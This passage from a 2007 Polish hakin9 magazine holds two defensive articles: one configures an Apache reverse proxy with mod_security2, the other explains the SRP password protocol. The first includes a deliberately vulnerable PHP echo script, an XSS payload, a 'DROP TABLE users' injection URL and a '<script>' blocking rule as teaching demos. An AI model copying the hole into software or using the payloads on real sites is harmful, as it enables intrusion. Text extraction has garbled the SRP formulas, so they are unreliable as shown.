zować naszą konfigurację vhosta do
stanu zaprezentowanego w Listingu 2
i Rysunku 1, gdzie korzystamy również
z dyrektywy SSLProxyEngine, któ-
ra umożliwia publikowanie zasobów z
wykorzystaniem protokołu HTTPS.

Jeśli publikowane zasoby ma-

ją być dostępne jedynie dla pracow-
ników firmy oraz innych zaufanych
podmiotów, warto rozważyć imple-
mentację dodatkowej warstwy au-
toryzacji klienta poprzez certyfika-
ty. Serwer proxy może wymagać od
przeglądarki klienta przedstawienia
prawidłowego certyfikatu, zanim po-
łączenie zostanie ustanowione.

Innym aspektem implementa-

cji mod_proxy jako reverse proxy jest
rozkładanie ruchu pomiędzy serwery
celem równoważenia obciążenia oraz
przeniesienie odpowiedzialności za
szyfrowanie ruchu z serwera aplikacji
na serwer proxy. Gdy publikujemy we-
wnętrzne zasoby HTTP z uruchomio-
nym szyfrowaniem SSL na publicznie

dostępnym serwerze reverse proxy,
mamy możliwość publikacji zasobów
wielu serwerów pod jedną nazwą do-
menową, a co za tym idzie, z wykorzy-
staniem jednego certyfikatu dla SSL.
Może to stanowić dla firmy znaczące
udogodnienie oraz skutkować obniże-
niem kosztów utrzymania certyfika-
tów nabywanych u komercyjnych do-
stawców. Ciekawym sposobem wyko-
rzystania reverse proxy w kontekście
szyfrowania jest również instalacja po-
jedynczego akceleratora kryptogra-
ficznego dla wszystkich serwerów fir-
my, co daje nam możliwość znaczne-
go uproszczenia i optymalizacji infra-
struktury klucza publicznego stosowa-
nej w firmie.

Specyficzne problemy

Pomimo iż opisywane rozwiązanie
jest bardzo dobre, może stać się ono

powodem niespodziewanych proble-
mów w wypadku niektórych aplika-
cji webowych. Na przykład w wypad-
ku publikacji wspominanego kilkakrot-
nie Outlook Web Access, konfiguracja
domyślna serwera IIS i Exchange po-
woduje drobny, acz przykry problem,
którym jest autentykacja z wykorzy-
staniem NTLM czyli tzw. Windows In-

tegrated Authentication. Zgodnie z ofi-
cjalnymi publikacjami Microsoft, auten-
tykacja NTLM authentication nie dzia-
ła poprzez serwery proxy. Po dokład-
niejszym sprawdzeniu okazuje się, iż
działa ona w przeglądarkach, innych
niż Microsoft producentów, takich jak
Mozilla Firefox czy Opera, ale nie funk-
cjonuje, gdy próba otworzenia tej sa-
mej strony wykonywana jest z Internet
Explorera. Wiedząc, gdzie leży pro-
blem, możemy wyłączyć autentyka-
cję opartą o NTLM po stronie serwe-

Rysunek 2.

Diagram dostępu w wariancie DMZ

DMZ Web servers

Direct SSL

secured traffic

Direct SSL

secured traffic

Linux Firewall / NAT

with reverse proxy

and appilcation firewall

HTTP traffic

Internet

Intranet

Rysunek 3.

Diagram dostępu przez reverse proxy

LAN Web servers

SSL

secured traffic

Linux Firewall / NAT

with reverse proxy

and appilcation firewall

HTTP traffic

Internet

Intranet

background image

Bezpieczne publikowanie zasobów intranetowych

hakin9 Nr 8/2007

www.hakin9.org

59

ra IIS (w Exchange Management Con-

sole) lub, jeśli chcemy zachować moż-
liwośc takiej autentykacji w sieci LAN,
możemy za pomocą mod_headers dla
Apache zmodyfikować nagłówki tak,
by serwer proxy rozgłaszał jedynie w
podstawowy sposób, jak poniżej:

Header unset WWW-Authenticate
Header set WWW-Authenticate

§

"Basic realm=webmail.company.com"

Firewall warstwy aplikacji

W wielu sytuacjach dynamicznie ge-
nerowana zawartość strony przygo-
towywana jest za pomocą PHP, ASP
czy innej podobnej technologii. Roz-
wiązania takie są potencjalnie podat-
ne na pewne rodzaje nadużyć. Nie
zdarza się raczej, by firma dyspono-
wała zasobami koniecznymi do wery-

fikacji każdego fragmentu kodu źró-
dłowego, a często w wypadku za-
mkniętych rozwiązań, nawet do kodu
dostępu. Jeśli w sieci intranet do pew-
nego stopnia można dopuścić takie
zagrożenie, to już w wypadku zaso-
bów publikowanych do Internetu, ko-
nieczne jest, by stosowane rozwiąza-
nia były jak najbezpieczniejsze.

Gdy implementujemy reverse

proxy, nie tylko możemy wykorzystać
je do prostego publikowania z dodat-
kowym zabezpieczeniem w formie
szyfrowania SSL. Dzięki modułowi

mod_security2 możemy utworzyć
całkowicie nową warstwę filtrowania
ruchu dla naszych rozwiązań.

Jednym z najpopularniejszych za-

grożeń, na jakie narażone są aplika-
cje webowe, są ataki wstrzykujące
kod jak SQL injection. Najczęściej po-

wodowane przez niewłaściwą obsłu-
gę zmiennych, mogą zostać załatane
poprzez modyfikacje kodu aplikacji.

Wyobraźmy sobie sytuację, w któ-

rej używana jest spora aplikacja we-
bowa, utworzona dłuższy czas temu
i nigdy niemodyfikowana. Sporo wy-
darzyło się od czasu, kiedy ją napi-
sano, PHP nie powinno juz np. wyko-
rzystywać zmiennych globalnych (re-

gister_globals) do obsługi wywołań

GET/POST; obecnie kładzie się rów-
nież znacznie większy nacisk na bez-
pieczeństwo. Jednak dla stworzonego
kiedyś skomplikowanego oprogramo-
wania, aktualizacja do bieżących stan-
dardów może okazać się koszmarem.
Często zdarza się wręcz, iż lepiej jest
napisać nowy system w miejsce stare-
go, gdyż może to być tańsze od łatania
słabo udokumentowanej aplikacji.

Nawet jeśli zapadnie decyzja o

tworzeniu nowego rozwiązania, nie
stanie sie to w ciągu dni czy nawet ty-
godni, a my nie możemy sobie pozwo-
lić na publiczny dostęp do dziurawego
oprogramowania. Jeśli system jest po-
datny na wstrzykiwanie kodu, łatwo so-
bie wyobrazić jak tragiczne w skutkach
może być wpisanie do przeglądarki w
polu adresu http://company.com/bug-

gy.php?username =jonny;DRO -

P%20TABLE%20users

Aby uniknąć podobnych nad-

użyć, można wykorzystać mod_se-

curity2 do blokowania typowych ata-
ków wstrzykiwania kodu.

Jeśli dana dystrybucja zawiera

bieżącą wersję mod_security2, mamy
szczęście, jednak w większości wy-
padków konieczna będzie kompilacja i
instalacja tego modułu ze źródeł.

Na szczęście instalacja tego mo-

dułu jest dość prosta, i nie powinna
stanowić żadnego problemu. Poza
instalacją pakietów z odpowiednimi
bibliotekami jak libxml2, trzeba do-
konać drobnej zmiany w Makefile,
gdzie trzeba prawidłowo zadeklaro-
wać ścieżkę do katalogu instalacji
Apache (np. /usr/share/apache2 De-
bianie), a następnie po prostu wyko-
nać polecenia make i make install.

Po zainstalowaniu modułu mod_

security2 dla Apache2, należy jesz-
cze zmodyfikować konfigurację ser-
wera, tak by ładował on odpowied-

Listing 2.

Konfiguracja vhosta z SSL i wybranymi zasobami

<VirtualHost *:443>
ServerAdmin admin@foo.bar
ServerName intra.company.com
ErrorLog /var/log/apache2/ssl-intra.company.com-error.log
CustomLog /var/log/apache2/ssl-intra.company.com-access.log common
SSLEngine on
SSLCertificateFile /etc/ssl/certs/ssl-cert-intra.company.com.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-intra.company.com.key
SSLProxyEngine on
ProxyPass /exchange https://owa.lan/exchange
ProxyPassReverse /exchange https://owa.lan/exchange
ProxyPass /exchweb https://owa.lan/exchweb
ProxyPassReverse /exchweb https://owa.lan/exchweb
ProxyPass /public https://owa.lan/public
ProxyPassReverse /public https://owa.lan/public
ProxyPass /knb http://webserver.lan/knowledgebase
ProxyPassReverse /knb http://webserver.lan/knowledgebase
ProxyRequests Off
<Proxy *>
Order deny,allow
Allow from all
</Proxy>
</VirtualHost>

Listing 3.

Skrypt vulnerable.php

This site is vulnerable to javascript injection

<?

if

(

!

isset

(

$_GET

[

'username'

]))

$_GET

[

'username'

]

=

"no username supplied"

;

echo

$_GET

[

'username'

]

?>

Listing 4.

Adnotacja włamania w logach bezpieczeństwa

[Thu Apr 12 13:09:21 2007] [error] [client xxx.xxx.xxx.xxx] ModSecurity:
Access denied with code 409 (phase 2). Pattern match "<script" at ARGS:
username. [hostname "company.com"] [uri "/vulnerable.php?username=
noob<script>alert(\\"I%20am%20so%20vulnerable...\\")</script>"]
[unique_id"kiwv4Fdi6FkABAVRAMsABBAAA"]

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

60

nie pliki, co można najprościej osią-
gnąć poprzez dodanie wpisów, któ-
re przedstawia Listing 5 w odpowied-
nim miejscu plików konfiguracyjnych.

mod_unique_id powinien być do-
stępny w domyślnej instalacji Apa-
che2 i jest wymagany do poprawnej
pracy mod_security2.

Gdy mod_security2 jest już do-

stępny i załadowany do Apache, po-
zostaje włączyć jego obsługę dla całe-
go serwera, wybranych lokalizacji czy
vhostów, w naszym zaś przypadku dla
vhosta odpowiedzialnego za reverse
proxy, do czego służy dyrektywa Se-

cRuleEngine On. Dodatkowo może-
my ustalić, jakie operacje zostaną wy-
konane domyślnie w wypadku wykry-
cia potencjalnego ataku za pomocą

SecDefaultAction. Stwórzmy więc ta-
ką konfigurację, która odrzuci poten-
cjalnie szkodliwe wywołania z błędem
409 oraz zaloguje je w celu później-
szej analizy. Możliwe jest również mo-
dyfikowanie zachowania filtra dla kon-
kretnych reguł, o czym napiszemy za
chwilę. Warto zdawać sobie sprawę
z faktu, iż mod_security2 domyślnie
wykonuje pewne operacje w celu nie-
dopuszczenia do ukrycia ataku przed
wzorcami wykorzystywanym do je-
go wykrycia. Wywołanie przekazane
przez klienta zostaje doprowadzone
do postaci kanonicznej, usunięte zo-
staną wielokrotne slashe, wskazania
do bieżącego katalogu, a także zde-
kodowane zostaną kody znaków w
URLu, co znacząco ogranicza moż-
liwości obejścia zabezpieczeń.

Najczęściej spotykaną w konfigu-

racji mod_security2 dyrektywą jest

SecRule. Za pomocą tych wpisów
tworzymy nasze reguły bezpieczeń-
stwa, które będą wywoływać wcze-
śniej zadeklarowane domyślne za-
chowanie. Idea działania reguł Se-

cRule jest prosta i sprowadza się do
wykonania określonych czynności,
gdy zadeklarowany wzorzec zostanie
wykryty w przychodzącym od klien-
ta wywołaniu. Ekipa odpowiedzialna
za mod_security2 była na tyle miła,
by wraz z kodem źródłowym rozpo-
wszechniać predefiniowany zestaw
reguł. Umieszczone tam wpisy pokry-
wają się z najczęściej spotykanymi w
sieci problemami zabezpieczeń apli-
kacji webowych; intuicyjnie podzie-
lone i dobrze skomentowane, znane
są pod nazwą Core Rules. Zachęcam
do zapoznania się z zawartością tego
zbioru regułek, gdyż dają one wgląd w
wiele metod ataków na aplikacje we-
bowe oraz wzorców, które pozwalają
tego typu zachowania zidentyfikować
i zablokować.

Jak można zauważyć w Core Ru-

les, każda reguła SecRule może przyj-
mować dwa lub trzy argumenty. Pierw-
szy wskazuje na miejsce, w którym
mamy poszukiwać wzorca, a kolejny to

tenże wzorzec. Jako trzeci, opcjonalny
argument, możemy zadeklarować, ja-
kie działania mają być podjęte w wy-
padku wystąpienia łańcucha znaków
zgodnego z wzorcem – operacja ta bę-
dzie miała pierwszeństwo nad działa-
niami deklarowanymi jako domyślne.

Aby zademonstrować, w jaki

sposób mod_security2 może chro-
nić stronę przed nadużyciem, stwo-
rzymy mały, dziurawy skrypt vulne-

rable.php, który będzie dostępny na
słabo skonfigurowanym serwerze,
co w efekcie spowoduje podatność
na atak typu script injection.

Gdy otwieramy taką stronę, mo-

żemy wykorzystać podatność na
wstrzyknięcie kodu javascript poprzez
wklejenie go jako części nazwy użyt-
kownika, jak na przykład:

username=noob<script>alert

§

2(”I am so vulnerable...”)</script>,

Czego efekt widać na Rysunku 5.

Rysunek 5.

Przykładowy efekt udanego wstrzyknięcia skryptu

Rysunek 4.

Diagram dostępu w wariancie reverse proxy w DMZ

intr.company.com

owa.lan

webserver.lan

HTTPS

HTTP

Firewall / Router

Internet

Intranet

Listing 5.

Dodane wpisy do

pliku konfiguracyjnego Apache2

LoadFile /usr/lib/libxml2.so
LoadModule security2_module

§

/usr/lib/apache2/modules/

§

mod_security2.so
LoadModule unique_id_module

§

/usr/lib/apache2/modules/

§

mod_unique_id.so

background image

Bezpieczne publikowanie zasobów intranetowych

hakin9 Nr 8/2007

www.hakin9.org

61

Problem ten można naprawić po

stronie kodu samej aplikacji bądź ser-
wera, na którym jest ona uruchomio-
na. W tym wypadku zademonstruje-
my, jak możemy poradzić sobie z ta-
kim problemem, nie posiadając na-
wet dostępu do serwera, na którym
jest ona uruchomiona czy tym bar-
dziej uprawnień administracyjnych lub
dostępu do kodu aplikacji. Jeśli zde-
cydujemy się na taką modyfikację in-
frastruktury, by serwer chroniony był
przez oparty na Apachu reverse pro-
xy z aktywnym mod_security2. Może-
my na przykład zablokować wszystkie
wywołania zawierające w zmiennych
łańcuch <script> oraz zwracać w ta-
kiej sytuacji wybrany kod błędu.

Aby to osiągnąć, wykorzystamy

trzy proste wpisy w pliku konfigura-
cyjnym:

SecRuleEngine On
SecDefaultAction log,auditlog,

§

deny,status:409,phase:2,t:none
SecRule ARGS "<script>"

Po takiej modyfikacji sieciowy wandal
otrzyma przy próbie przełamania za-
bezpieczeń naszej aplikacji komuni-
kat o błędzie 409 (Rysunek 6), a co
ważniejsze, zostanie on odnotowany

w logach bezpieczeństwa w sposób
podobny do przedstawionego na Li-
stingu 4.

Pracując nad ModSecurity dla Apa-

che, ważne jest, by pamiętać, iż usta-
wienie zbyt restrykcyjnych reguł zapo-
ry poziomu aplikacyjnego dla naszych
rozwiązań webowych może skutkować
poważnym zakłóceniem ich pracy czy
nawet całkowitym ich zablokowaniem.
W związku z tym, realizacja tego typu
zabezpieczeń powinna być związana
z dokładnym testowaniem funkcjonal-
ności aplikacji, którą będziemy chro-
nić. W przeciwnym wypadku może nas
czekać niezadowolenie użytkowników,
gdy nasze zmiany negatywnie wpłyną
na komfort ich pracy.

MS ISA Server 2004

Jak już wspominaliśmy wcześniej, po-
dobną funkcjonalność można spotkać
na przykład w Microsoft Internet and

Security Acceleration Server 2004.
Produkt ten ze względów finanso-
wych jest raczej kierowany do dużych
korporacji, nie zaś do niewielkich od-
biorców z segmentów SOHO i SME.
Microsoft nadał tej funkcjonalności
nazwę reguł publikowania (Server/

Web Publishing Rules).

Jeśli mówimy o publikowaniu za-

sobów wewnętrznych serwisów we-
bowych, to w grę wchodzą Web Pu-

blishing Rules i Secure Web Publi-

shing Rules, przy czym te drugie
odpowiadają za publikowanie zaso-
bów z wykorzystaniem szyfrowania
SSL. Ruch SSL może być wykony-

wany w trybie SSL tunelling lub SSL

bridging. W pierwszym wypadku ISA
przekazuje pakiety bezpośrednio do
serwera wewnętrznego, zaś w dru-
gim, ruch zostaje odszyfrowany i po-
nownie zaszyfrowany, co pozwala na
weryfikację zawartości pakietów.

Na konfigurację reguł publikowa-

nia składają się następujące opcje:

Action – włącza lub wyłącza do-

stęp,

Name – fqdn lub adres IP serwe-

ra, który będzie publikowany,

Users – uprawnienia dostępu do wi-

tryny na poziomie użytkowników,

Traffic source – obiekty sieciowe,

z których możliwy będzie dostęp
do witryny,

Public name – URL, na który bę-

dzie odpowiadać ISA,

Web listener – obiekt definiujący

sposób nasłuchiwania przez ser-
wer ISA,

Path mappings – selektywne ma-

powanie serwerów wewnętrz-
nych na podstawie scieżki w wy-
wołanym URL-u,

Bridging – sposób przekierowy-

wania pakietów, może wykorzy-
stywać HTTP, SSL lub FTP,

Link translation – definiuje sposo-

by modyfikowania linków zawar-
tych w odpowiedziach na żąda-
nia klienta.

Podsumowanie

Samo utworzenie reguł publikowania
wykonywane jest, jak to w produk-
tach MS zwykło bywać, przez przy-
jazny użytkownikowi kreator.

Tak skonfigurowane publikowa-

nie zasobów można rozszerzyć o fil-
try webowe (Web Filters), które są
funkcjonalnością zbliżone do omó-
wionego wcześniej ModSecurity2.

Jak więc mogliśmy się przekonać,

reverse proxy może być wykorzysta-
ne do znacznego podniesienia bezpie-
czeństwa publikowanych zasobów, z
użyciem otwartego i darmowego opro-
gramowania. Rozwiązanie oparte o
system GNU/Linux i serwer Apache2
może stanowić wyśmienitą alternaty-
wę dla takich komercyjnych produktów
jak choćby Microsoft ISA Server i jego
funkcja publikowania zasobów. l

O autorze

Autor jest inżynierem ds. zabezpieczeń
w dziale Research&Development w fir-
mie IF Research / Wallix.
Kontakt z autorem: goblin@pentex.pl

Rysunek 6.

Wywołanie zablokowane przez ModSecurity

background image

www.hakin9.org

hakin9 Nr 8/2007

62

Obrona

P

rotokół Secure Remote Password
(SRP) to najlepsze ze spotykanych roz-
wiązań, zapewniające wyższy poziom

bezpieczeństwa niż pozostałe konkurencyjne
metody oraz odporne na wszystkie, nawet naj-
groźniejsze, znane powszechnie sposoby prze-
prowadzania ataków.

Dowody z wiedzą zerową

W jaki sposób udowodnić komuś, że posia-
da się pewną wiedzę? Najprościej jest naj-
zwyczajniej ową wiedzę wyjawić. Gdyby jed-
nak wszyscy ludzie żyjący z dostarczania in-
formacji postępowali podobnie, wielu z nich nie
wyszłoby na tym zbyt dobrze i to nie tylko pod
względem finansowym. W ten sposób powsta-
ły różne metody przekonywania ludzi posiada-
jących pieniądze, że osoby deklarujące dobrą
znajomość określonej dziedziny wiedzy, na-
prawdę ją posiadają i chętnie dokonają wymia-
ny (np. uchylenie rąbka tajemnicy).

Matematycy nie zadowalają się półśrodka-

mi i problem ujęli dużo ściślej: jak komuś udo-
wodnić posiadanie pewnej wiedzy, bez zdra-
dzenia nawet jednego bitu tejże wiedzy czy na-
wet innych pośrednich faktów, pozwalających
na wywnioskowanie z nich wiedzy właściwej.

Problem ma wiele zastosowań praktycz-

nych, wśród których można wymienić kwestie
związane z protokołami uwierzytelniającymi
hasłem: jak klient ma udowodnić serwerowi, że
zna hasło, nie podając go explicite ani nawet w
postaci zaszyfrowanej (którą przecież można
teoretycznie złamać).

Krótko mówiąc, wymagamy, aby serwer

mógł być absolutnie pewny, że klient naprawdę
jest tym, za kogo się podaje, a jednocześnie po-
tencjalni podsłuchiwacze nie byli w stanie wy-
ciągnąć nic wartościowego z tej komunikacji.

Od protokołu opartego na tym założeniu

wymagamy dodatkowo, żeby był odporny na

Secure Remote Password

Protocol

Cezary G. Cerekwicki

stopień trudności

Najpopularniejszą techniką uwierzytelnienia jest użycie hasła.

Istnieje wiele rozwiązań, pozwalających zdalnie uwierzytelnić się

hasłem w relatywnie bezpieczny sposób, jednak każde z nich ma

swoje ograniczenia.

Z artykułu dowiesz się

• jak działa najbezpieczniejszy protokół uwierzy-

telniający przez użycie hasła,

• jak działają dowody z wiedzą zerową.

Co powinieneś wiedzieć

• wskazane jest rozumienie podstaw terminologii

kryptologicznej i elementarna znajomość mate-
matyki.

background image

Najlepszy istniejący protokół zdalnego uwierzytelniania przy użyciu hasła

hakin9 Nr 8/2007

www.hakin9.org

63

wszystkie znane metody ataku (m.in.

replay attack).

Secure Remote

Password

Secure Remote Password (SRP) to
nowoczesny protokół uwierzytelnia-
jący, stworzony przez ludzi świado-
mych wszystkich publicznie znanych
technik atakowania tego typu proto-
kołów:

• SRP zapewnia uwierzytelnie-

nie obu stron; serwer może być
pewny, że klient zna hasło, a
klient ma gwarancję, że serwer
jest tym samym, na którym za-
kładano konto.

• SRP ma charakter dowodu z wie-

dzą zerową; nawet jeśli komuni-
kacja będzie się odbywała kana-
łem nieszyfrowanym, potencjalni
podsłuchiwacze nie będą w stanie
nic sensownego wywnioskować.
Oczywiście zaszyfrowanie kanału
(np. poprzez SSL) wprowadzi do-
datkowy poziom bezpieczeństwa.

• SRP, w przeciwieństwie do więk-

szości metod kryptografii klucza
publicznego, nie wymaga istnie-
nia zaufanego trzeciego podmio-
tu, który ręczyłby za tożsamość
stron.

• SRP jest całkowicie odporny na

ataki słownikowe online, zarówno
ze strony aktywnych, jak i pasyw-
nych podsłuchiwaczy. W przypad-
ku pozytywnego uwierzytelnienia,
SRP pozostawia obu stronom uni-
kalny, trudny do przewidzenia i dla
każdej sesji inny klucz prywatny,
który może być użyty do zabezpie-
czenia sesji (np. jako zalążek ge-
neratora liczb pseudolosowych dla
szyfru strumieniowego, klucz szy-
fru blokowego, identyfikator sesji).

• SRP zapewnia duże bezpieczeń-

stwo nawet w przypadku uży-
cia słabych haseł (krótkich, ma-
ło skomplikowanych).

• SRP jest tak skonstruowany, że

wymusza składowanie haseł w
systemie w sposób bardzo bez-
pieczny, tzn. w postaci saltowa-
nych hashy, czyli zrandomizowa-
nych skrótów kryptograficznych.
Nawet w przypadku włamania i

kradzieży pliku z hasłami, przed
włamywaczem stoi jeszcze ko-
nieczność przeprowadzenia ata-
ku brutalnego lub słownikowe-
go, bez możliwości użycia obli-
czonych wcześniej tablic skrótów
kryptograficznych.

• SRP realizuje asymetryczną wy-

mianę kluczy, podobnie jak to ma
miejsce w protokole Diffie-Hell-
man.

• SRP nie jest rozwiązaniem opa-

tentowanym ani krępowanym re-
strykcyjną licencją. Gotowe im-
plementacje są dostępne w sie-
ci jako open source.

• SRP jest dość szybkim protoko-

łem (zważywszy na jakość ofe-
rowanego bezpieczeństwa), co
ważne, jest on szybszy niż Dif-
fie-Hellman.

Wersja szósta SRP jest standardem
ISO/IEC 11770-4. Używana jest ja-
ko silne uwierzytelnienie w protoko-
łach SSL/TLS, EAP, SAML. Są też
implementacje FTP, SSH czy telnetu
wykorzystujące SRP. SRP ma bez-
pieczniejszy mechanizm uwierzytel-
niający od natywnego SSH.

Podsumowując, mamy do czy-

nienia z potężnym narzędziem, za-
pewniającym bardzo silne bezpie-
czeństwo.

Jak to działa?

Na początek krótkie wprowadzenie.
Jak wiadomo, liczby pierwsze to takie
liczby, które mają dokładnie dwa róż-
ne dzielniki: samą siebie i jedynkę.
W kryptografii mają znaczenie także
tzw. liczby pierwsze Sophie Germain
oraz bezpieczne liczby pierwsze.

Jeśli liczba l postaci l = 2p + 1,

gdzie p jest liczbą pierwszą, również
jest liczbą pierwszą, to p jest licz-
bą pierwszą Sophie Germain, nato-
miast liczba l jest bezpieczną liczbą
pierwszą.

W algorytmach protokołu SRP

będziemy się posługiwać arytmety-

ką modulo N. Liczba N musi być zna-
ną obu stronom bezpieczną liczbą
pierwszą (musi też być odpowiednio
duża, im większa tym lepsza). Zakła-
damy sobie również stałą g, zwaną
generatorem. Najczęściej przyjmuje

się g = 2. Kolejną tego typu stałą jest

k, w SRP-6a należy ją obliczyć z ta-
kiego wzoru: k = SHA(N | g). Znak
„|” oznacza konkatenację (sklejanie)
ciągu znaków.

Wszystkie trzy stałe (N, g, k) są

ustalone odgórnie i publicznie znane
(przynajmniej obu stronom, ale mogą
też być bez najmniejszego ryzyka zna-
ne potencjalnemu włamywaczowi).

Aby móc stosować protokół

SRP, konta użytkowników powinni-
śmy przechowywać w postaci trójek
(login, weryfikator, sól).

Algorytm tworzenia takiej trójki

jest następujący:

• sól = random() (tu uwaga: im

wyższa wartość random w przy-
padku danej liczby, tym bezpiecz-
niejszy będzie protokół. Zdecydo-
wanie sugeruję użycie czegoś w
rodzaju /dev/random albo samo-
dzielnej implementacji podobne-
go mechanizmu),

• x = SHA(sól | SHA(login | „:” | ha-

sło)),

• weryfikator = v = gx % N.

Tu kilka drobnych uwag. Nie musimy
używać akurat SHA, możemy użyć
dowolnej funkcji skrótu kryptogra-
ficznego (byle dobrej) nie zmieniając
zasadniczych własności protokołu
(oczywiście pod warunkiem, że bę-
dziemy jej używać konsekwentnie).
Poprzez „hasło” rozumiemy ciąg re-
prezentujący hasło w postaci jawnej.
Znak „%” należy rozumieć jako mo-

dulo (czyli reszta z dzielenia).

Jak widzimy, nie będziemy prze-

chowywać haseł w postaci jawnej.
Przechowujemy jawny login, liczbę
weryfikującą (w dalszej części tekstu
będziemy o nim mówić jako o zmien-
nej v) oraz sól (materiał losowy ran-
domizujący weryfikator). Zwracam
uwagę, że dwa konta z takim samym
hasłem nie będą miały takiej samej
liczby weryfikującej.

Uwierzytelnienie w postaci kano-

nicznej wygląda następująco:

• klient wysyła do serwera prośbę

o sól dla podanego loginu,

• serwer wysyła sól dla żądanego

loginu,

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

64

• klient oblicza a = random() (po-

nownie podkreślam istotność so-
lidnej losowości; a musi też być
większe od

log

g

N

),

• klient oblicza

A=g

N

a

%

,

• klient wysyła serwerowi obliczo-

ną liczbę A,

• jeśli A = 0 % N, serwer powinien

się rozłączyć,

• serwer oblicza b = random() (b

musi być większe od

log

g

N

),

• serwer oblicza i wysyła

B kv+g

N

g

b

%

,

• jeśli B = 0 % N, klient powinien

się rozłączyć,

• obie strony obliczają u = SHA

(A | B),

• klient oblicza x = SHA(sól | SHA-

(login | „:” | hasło)),

• klient oblicza

Sklient=(B-kg

N

x (x+ux)

)

%

,

• klient oblicza Kklient = SHA-

(Sklient),

• serwer oblicza

Sserwer=(A-v

u b

)

,

• serwer oblicza Kserwer = SHA-

(Sserwer).

W tym momencie, obie strony mają
klucz sesji K, który powinien być taki
sam (wówczas uwierzytelnienie się
powiodło). Jak bezpiecznie spraw-
dzić, czy uwierzytelnienie się powio-
dło? Można to zrobić na kilka sposo-
bów, na przykład tak:

• klient wysyła M1 = SHA(SHA(N)

xor SHA(g) | SHA(login) | sól | A |
B | Kklient),

• serwer weryfikuje M1, obliczając

je w analogiczny sposób (oczy-
wiście Kklient powinno być rów-
ne Kserwer). Jeśli M1 obliczone
przez serwer różni się od przeka-
zanego od klienta, uwierzytelnie-
nie klienta jest nieudane. Serwer
musi się rozłączyć,

• serwer wysyła M2 = SHA(A | M1 |

Kserwer),

• serwer weryfikuje M2, obliczając

je w analogiczny sposób. Jeśli M2
obliczone przez klienta jest różne
od przekazanego przez serwer,
uwierzytelnienie serwera jest nie-
udane. Klient powinien się rozłą-
czyć.

Zwracam uwagę, że klient musi po-
kazać swój dowód jako pierwszy. Je-
śli jest on niepoprawny, serwer pod

żadnym pozorem nie może pokazy-
wać swojego dowodu!

W niektórych opracowaniach moż-

na zobaczyć inne formuły wzajemne-
go uwierzytelnienia, w szczególności
chodzi tu o to, że M1 może być wyli-
czone szybciej (można ze wzoru wy-
rzucić N, g, login i sól). Tym niemniej
jest przynajmniej jeden dobry powód,
dla którego warto zostawić te dodat-
kowe obliczenia: w przypadku ataku
brutalnego atakujący będzie miał trzy
wywołania SHA więcej na iterację,
co w skali takiego ataku oznacza bar-
dzo poważny koszt obliczeniowy. Nie-
pokoić może duża liczba wymian da-
nych między serwerem i klientem. W
rzeczywistości można ją nieco zredu-
kować łącząc niektóre komunikaty (w
tabeli 1 zawarty jest zoptymalizowa-
ny schemat wymiany komunikatów).
Można posłużyć się też (w przypadku
aplikacji webowych) technikami AJAX,
aby konwersacja klienta z serwerem
była niezauważalna dla użytkownika.

Zmienna u może być losowa, ale

wówczas jedna strona musi się nią po-
dzielić z drugą (oczywiście lepiej jest,
gdy losowanie przeprowadzi serwer).
Dodatkowo u nie może być równe ze-
ro (modulo N oczywiście), zatem je-
śli u będzie losowane, strona która je

otrzyma, musi sprawdzić jego niezero-
wość modulo N i ewentualnie się roz-
łączyć. Przestrzegam przed nieprze-
myślanymi (czytaj: nie poprzedzonymi
głębokim zrozumieniem istotności każ-
dej zmiennej i każdego kroku) modyfi-
kacjami czy uproszczeniami tego pro-
tokołu. Przedstawione w tym tekście
wzory to szósta wersja tego protoko-
łu, przejrzana i zweryfikowana przez
międzynarodowe środowisko nauko-
we zajmujące się kryptografią i bez-
pieczeństwem informacyjnym. Każda
użyta zmienna i każde przekształcenie
ma swoją rolę do odegrania i bynajm-
niej nie są one przypadkowe. Zdecy-
dowanie radzę używać gotowych im-
plementacji, a gdy jest to niemożliwe,
własną implementację poprzedzić do-
kładną lekturą publikacji dostępnych
na stronie podanej w ramce.

Bezpieczeństwo

SRP jest tak bezpieczny, jak algo-
rytm Diffie-Hellman, a więc bezpie-
czeństwo protokołu zależy od trud-
ności liczenia logarytmów dyskret-
nych oraz od nieodwracalności uży-
tej funkcji skrótu.

Przez sieć nie jest przesyłane ani

hasło, ani wyliczona wartość x. Żad-
na użyteczna informacja o kluczu K

Tabela 1.

Zoptymalizowany schemat komunikatów w protokole SRP

Klient

Kierunek komunikatu Serwer

A, login

>
<

B, sól

M1

>
<

M2

W Sieci

Na tej stronie znajduje się kalkulator SRP, pozwalający podejrzeć wartości wszystkich
zmiennych pomocniczych oraz eksperymentować z różnymi wartościami wejściowymi.
http://srp.stanford.edu/demo/demo.html
To jest strona domowa projektu SRP. http://srp.stanford.edu/

O autorze

Autor jest z wykształcenia informatykiem i politologiem. Pracował jako programista,
administrator, konsultant, tłumacz, koordynator międzynarodowych projektów, dzien-
nikarz i publicysta. Pisał programy w dziesięciu językach programowania (od asem-
blerów po języki skryptowe), w czterech systemach operacyjnych, na dwóch platfor-
mach sprzętowych.
Kontakt z autorem: cerekwicki@tlen.pl

background image

nie jest ujawniana. Dodatkowo K jest
kryptograficznie silne, w przeciwień-
stwie do zazwyczaj mało złożonych
haseł. W efekcie próba odgadnięcia
K poprzez atak brutalny jest z gó-
ry skazana na porażkę. Wymienia-
ne przez sieć liczby (sól, A, B, M1
i M2) są dość duże (co ich odgady-
wanie czyni bardzo trudnym), a wy-
wnioskowanie z nich istotnych warto-
ści poprzez odwrócenie działań ma-
tematycznych prowadzi do odwraca-
nia kryptograficznej funkcji skrótu lub
liczenia logarytmu dyskretnego du-
żej losowej liczby (oba te zadania są
obecnie bardzo trudne).

Atak typu man-in-the-middle nie

może być przeprowadzony przez ko-
goś, kto nie zna hasła.

Jeśli użyty w przeszłości klucz

sesji zostanie skompromitowany, nie
grozi to ujawnieniem używanego ha-
sła. Jeśli włamywacz wykradnie ha-
sło, nie będzie w stanie przy jego po-
mocy odgadnąć kluczy poprzednich
sesji. Protokół pozostaje bezpiecz-
ny, nawet jeśli jedna ze stron nie jest
tym, za kogo się podaje.

Aktywny intruz, mający możli-

wość generowania komunikatów
podszywających się pod strony ko-
munikacji, nie jest w stanie przejąć
sesji. Jedyne, co może zrobić, to
przeprowadzić banalny atak typu de-

nial-of-service, tzn. może doprowa-
dzić do nieudanego uwierzytelnienia
legalnego użytkownika. Ale akurat
tego typu akty prymitywnego wanda-
lizmu prawie zawsze są możliwe.

Podsumowanie

SRP jest obecnie szczytowym osią-
